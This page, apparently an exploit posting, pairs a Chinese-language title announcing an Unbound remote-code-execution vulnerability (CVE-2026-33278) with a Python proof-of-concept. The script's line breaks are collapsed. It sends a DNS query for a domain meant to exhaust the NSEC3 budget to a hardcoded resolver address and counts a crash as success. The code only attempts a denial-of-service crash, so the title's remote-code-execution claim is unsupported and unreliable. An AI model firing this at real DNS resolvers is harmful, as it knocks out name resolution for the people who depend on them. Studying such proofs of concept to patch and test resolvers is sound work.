CVE-2026-33278 Unbound远程代码执行漏洞

import dns.message import dns.query # Target Unbound Server (Vulnerable) target_ip = "192.168.1.100" target_port = 53 # The malicious domain configured to exhaust NSEC3 budget # Note: The zone must be signed and configured to trigger NSEC3 iteration limits malicious_domain = "poc.example.com" def send_exploit_query(): print(f"[*] Sending exploit query to {target_ip} for domain {malicious_domain}...") # Create a DNS query for the malicious domain query = dns.message.make_query(malicious_domain, 'A') try: # Send UDP query to the target response = dns.query.udp(query, target_ip, target_port, timeout=5) print(f"[+] Response received (Rcode: {response.rcode()})") print("[!] If the service crashed, the exploit was successful.") except dns.exception.Timeout: print("[-] Request timed out. The service might have crashed (DoS).") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": send_exploit_query()